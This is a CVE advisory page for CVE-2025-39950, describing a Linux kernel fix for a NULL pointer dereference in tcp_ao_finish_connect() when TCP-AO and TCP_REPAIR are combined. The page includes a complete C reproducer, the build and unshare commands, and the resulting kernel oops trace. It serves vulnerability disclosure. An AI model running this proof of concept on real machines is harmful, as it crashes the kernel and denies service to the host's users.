In the Linux kernel, the following vulnerability has been resolved:
net/tcp: Fix a NULL pointer dereference when using TCP-AO with TCP_REPAIR
A NULL pointer dereference can occur in tcp_ao_finish_connect() during a
connect() system call on a socket with a TCP-AO key added and TCP_REPAIR
enabled.
The function is called with skb being NULL and attempts to dereference it
on tcp_hdr(skb)->seq without a prior skb validation.
Fix this by checking if skb is NULL before dereferencing it.
The commentary is taken from bpf_skops_established(), which is also called
in the same flow. Unlike the function being patched,
bpf_skops_established() validates the skb before dereferencing it.
int main(void){
struct sockaddr_in sockaddr;
struct tcp_ao_add tcp_ao;
int sk;
int one = 1;
memset(&sockaddr,'\0',sizeof(sockaddr));
memset(&tcp_ao,'\0',sizeof(tcp_ao));
sk = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
sockaddr.sin_family = AF_INET;
memcpy(tcp_ao.alg_name,"cmac(aes128)",12);
memcpy(tcp_ao.key,"ABCDEFGHABCDEFGH",16);
tcp_ao.keylen = 16;
memcpy(&tcp_ao.addr,&sockaddr,sizeof(sockaddr));
setsockopt(sk, IPPROTO_TCP, TCP_AO_ADD_KEY, &tcp_ao,
sizeof(tcp_ao));
setsockopt(sk, IPPROTO_TCP, TCP_REPAIR, &one, sizeof(one));
sockaddr.sin_family = AF_INET;
sockaddr.sin_port = htobe16(123);
inet_aton("127.0.0.1", &sockaddr.sin_addr);
connect(sk,(struct sockaddr *)&sockaddr,sizeof(sockaddr));
return 0;
}
$ gcc tcp-ao-nullptr.c -o tcp-ao-nullptr -Wall
$ unshare -Urn
BUG: kernel NULL pointer dereference, address: 00000000000000b6
PGD 1f648d067 P4D 1f648d067 PUD 1982e8067 PMD 0
Oops: Oops: 0000 [#1] SMP NOPTI
Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop
Reference Platform, BIOS 6.00 11/12/2020
RIP: 0010:tcp_ao_finish_connect (net/ipv4/tcp_ao.c:1182)
Metrics
Affected Vendors & Products
No data.
No data.
No data.
No data.
References
History
Sat, 04 Oct 2025 07:45:00 +0000
| Type | Values Removed | Values Added |
|---|---|---|
| Description | In the Linux kernel, the following vulnerability has been resolved: net/tcp: Fix a NULL pointer dereference when using TCP-AO with TCP_REPAIR A NULL pointer dereference can occur in tcp_ao_finish_connect() during a connect() system call on a socket with a TCP-AO key added and TCP_REPAIR enabled. The function is called with skb being NULL and attempts to dereference it on tcp_hdr(skb)->seq without a prior skb validation. Fix this by checking if skb is NULL before dereferencing it. The commentary is taken from bpf_skops_established(), which is also called in the same flow. Unlike the function being patched, bpf_skops_established() validates the skb before dereferencing it. int main(void){ struct sockaddr_in sockaddr; struct tcp_ao_add tcp_ao; int sk; int one = 1; memset(&sockaddr,'\0',sizeof(sockaddr)); memset(&tcp_ao,'\0',sizeof(tcp_ao)); sk = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); sockaddr.sin_family = AF_INET; memcpy(tcp_ao.alg_name,"cmac(aes128)",12); memcpy(tcp_ao.key,"ABCDEFGHABCDEFGH",16); tcp_ao.keylen = 16; memcpy(&tcp_ao.addr,&sockaddr,sizeof(sockaddr)); setsockopt(sk, IPPROTO_TCP, TCP_AO_ADD_KEY, &tcp_ao, sizeof(tcp_ao)); setsockopt(sk, IPPROTO_TCP, TCP_REPAIR, &one, sizeof(one)); sockaddr.sin_family = AF_INET; sockaddr.sin_port = htobe16(123); inet_aton("127.0.0.1", &sockaddr.sin_addr); connect(sk,(struct sockaddr *)&sockaddr,sizeof(sockaddr)); return 0; } $ gcc tcp-ao-nullptr.c -o tcp-ao-nullptr -Wall $ unshare -Urn BUG: kernel NULL pointer dereference, address: 00000000000000b6 PGD 1f648d067 P4D 1f648d067 PUD 1982e8067 PMD 0 Oops: Oops: 0000 [#1] SMP NOPTI Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 11/12/2020 RIP: 0010:tcp_ao_finish_connect (net/ipv4/tcp_ao.c:1182) | |
| Title | net/tcp: Fix a NULL pointer dereference when using TCP-AO with TCP_REPAIR | |
| References |
|
MITRE
Status: PUBLISHED
Assigner: Linux
Published:
Updated: 2025-10-04T07:31:10.926Z
Reserved: 2025-04-16T07:20:57.148Z
Link: CVE-2025-39950
Vulnrichment
No data.
NVD
Status : Received
Published: 2025-10-04T08:15:48.253
Modified: 2025-10-04T08:15:48.253
Link: CVE-2025-39950
Redhat
No data.
OpenCVE Enrichment
No data.